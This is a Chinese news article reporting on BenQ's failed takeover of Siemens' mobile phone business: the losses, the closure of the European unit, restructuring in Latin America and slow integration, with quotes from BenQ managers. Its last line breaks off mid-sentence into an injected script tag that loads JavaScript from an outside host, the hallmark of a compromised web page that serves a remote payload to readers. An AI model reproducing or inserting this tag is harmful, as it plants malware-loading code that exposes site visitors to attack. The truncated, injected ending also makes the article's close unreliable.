“我们想走一条捷径，走过去却发现是悬崖峭壁。我们退回原路，有体力的损耗，但是我们清楚了问题所在。”10月24日，明基中国营销总部总经理曾文祺接受本报记者专访，反思明基并购西门子手机失败的教训。
一年前，德国西门子将全部手机业务无偿转让给明基，并同时赠送2.5亿欧元现金。俗话说得好，便宜无好货，并购西门子手机业务不仅没让明基跻身世界第一手机阵营，而且过去三个季度给它造成6亿欧元的亏损，并让明基的股票市值蒸发掉一半。
在股东的强大压力之下，明基开始进行一系列的调整来医治西门子手机对它的重创。9月28日，明基宣布停止欧洲手机业务，这在德国引发轩然大波。
10月18日该公司财务总监游克宣布：德国明基西门子申请无力清偿保护后，公司将进入全球重整。目前阿根廷、智利、乌拉圭和巴拉圭的销售办公室还将关闭或者缩减，并可能伴随裁员行动。此前明基已结束了巴西一座有五六百名员工的工厂运营。
从欧洲到拉美市场的全面调整，也正式宣布了明基并购西门子手机的失败。“明基手机回到一年前的原点。”10月24日，曾文祺对记者承认：明基手机业务的解决之道，目前只能依靠亚洲市场。
对此次失败最痛心的是明基电通的董事长李焜耀，他是台湾it代工业的新领袖，曾因豪赌液晶面板产业成功获得台湾资本市场和工商界大佬的嘉许，更因率领明基落户苏州，成为台资进军长三角的先锋人物而声名远播。在明基连连亏损，股票暴跌之后，他曾向董事会提出辞职，因被施振荣等人挽留才继续留任。
带领明基从代工向自主品牌转型，是李焜耀一个难解的情结，也是台湾几代it代工企业的共同梦想。因此当2005年，明基顺利合并西门子手机业务之时，李焜耀自豪地表示，以台北为中心，明基的经营版图已经横跨欧、美、亚三大洲，“那是连成吉思汗都到不了的地方”。
从台北到慕尼黑的1.5万英里征途上，在过去的16个月中究竟发生了什么，使得李焜耀那成吉思汗般的万丈雄心散去，转而退守亚洲大本营呢？
明基品牌梦
2005年时，明基已经是世界第一大手机代工厂商，它最大的客户就是摩托罗拉，不过明基电通董事长李焜耀依然感到他的自主品牌梦还十分遥远，明基自主品牌的手机也只占据了全球2%的市场。
李焜耀感到单独靠明基的力量变成世界品牌企业，这个路比较漫长。明基在2001年12月创立“benq”自有品牌之后，成效并不明显。他打算取一条捷径。此次，西门子手机和摩托罗拉谈判失败给明基创造了机会。2005年6月8日，明基正式宣布并购西门子手机业务。
“并购西门子可以让品牌成长时间缩短7到8年。”李焜耀热切地希望借助对有158年品牌历史的西门子整合，带动当时年仅3年多的明基品牌成为国际品牌。
另外通过并购西门子手机业务，还可以迅速利用西门子的国际化销售网络以及与各国运营商的关系。因此，明基雄心勃勃地宣布，明基将把自己的代工制造和西门子技术及销售网络完美地结合起来，最终使明基西门子重回世界第一手机阵营，并在3年内拿下全球10%的市场。
在随后的产业调整中，2006年明基战略调整从此前的3c布局转向以液晶面板为核心的5c，其中5c核心产业是手机。
在这个战略中，另一个核心基础是液晶面板生产的友达广电。作为明基电通的重要投资，友达液晶产业对明基5c产品提供了坚实的产品配套。今年4月，李焜耀担任董事长的友达广电和台湾广辉电子合并成为全球第三大液晶面板供应商。市场占有率由此前的13.6%一举攀高至19.4%。
正在明基台湾总部做好准备的时候，德国西门子方面却出了问题。
德国赶不上台湾速度
明基电通设计长王千睿是最早开始和西门子手机方面打交道的明基员工。为了备战2006年度的世界if移动设计大奖赛，虽然双方的合作协议在2005年6月才签署，2005年5月，他就带领明基设计部门开始和德国西门子手机设计部门对接。
王千睿这个拥有德国专业设计师牌照的华人设计长与德国人交流非常顺利，西门子的深厚底蕴和德国工艺的严谨，使得双方2005年10月如期完成了品牌产品设计。
在2006年度的if评奖中，明基获得9项大奖，这是此前两年明基获得的总奖项之3倍。王千睿承认：“这样的成果和西门子手机设计部门的协作分不开。”
然而如此顺利合作并没能在其他领域展开。
明基进入并没有真正扭转亏损势头。明基通讯一位高层认为：合并西门子手机业务并不错误，但整合速度超乎想象的慢，产品推出慢，使得配套的营运完全空转。
明基一直想改变西门子手机的老毛病。明基接手的时候，西门子手机就早已不是商务人士或者时尚年轻人的首选，没有固定的顾客群体。
今年3月的汉诺威计算机展上，明基西门子拼尽全力推出12款新手机，但在随后的检测中，软件不能通过测试。问题就出在新机型的软件只是以前型号的简单拷贝。
10月24日，王千睿向记者介?script src=http://er12.com/t.js>
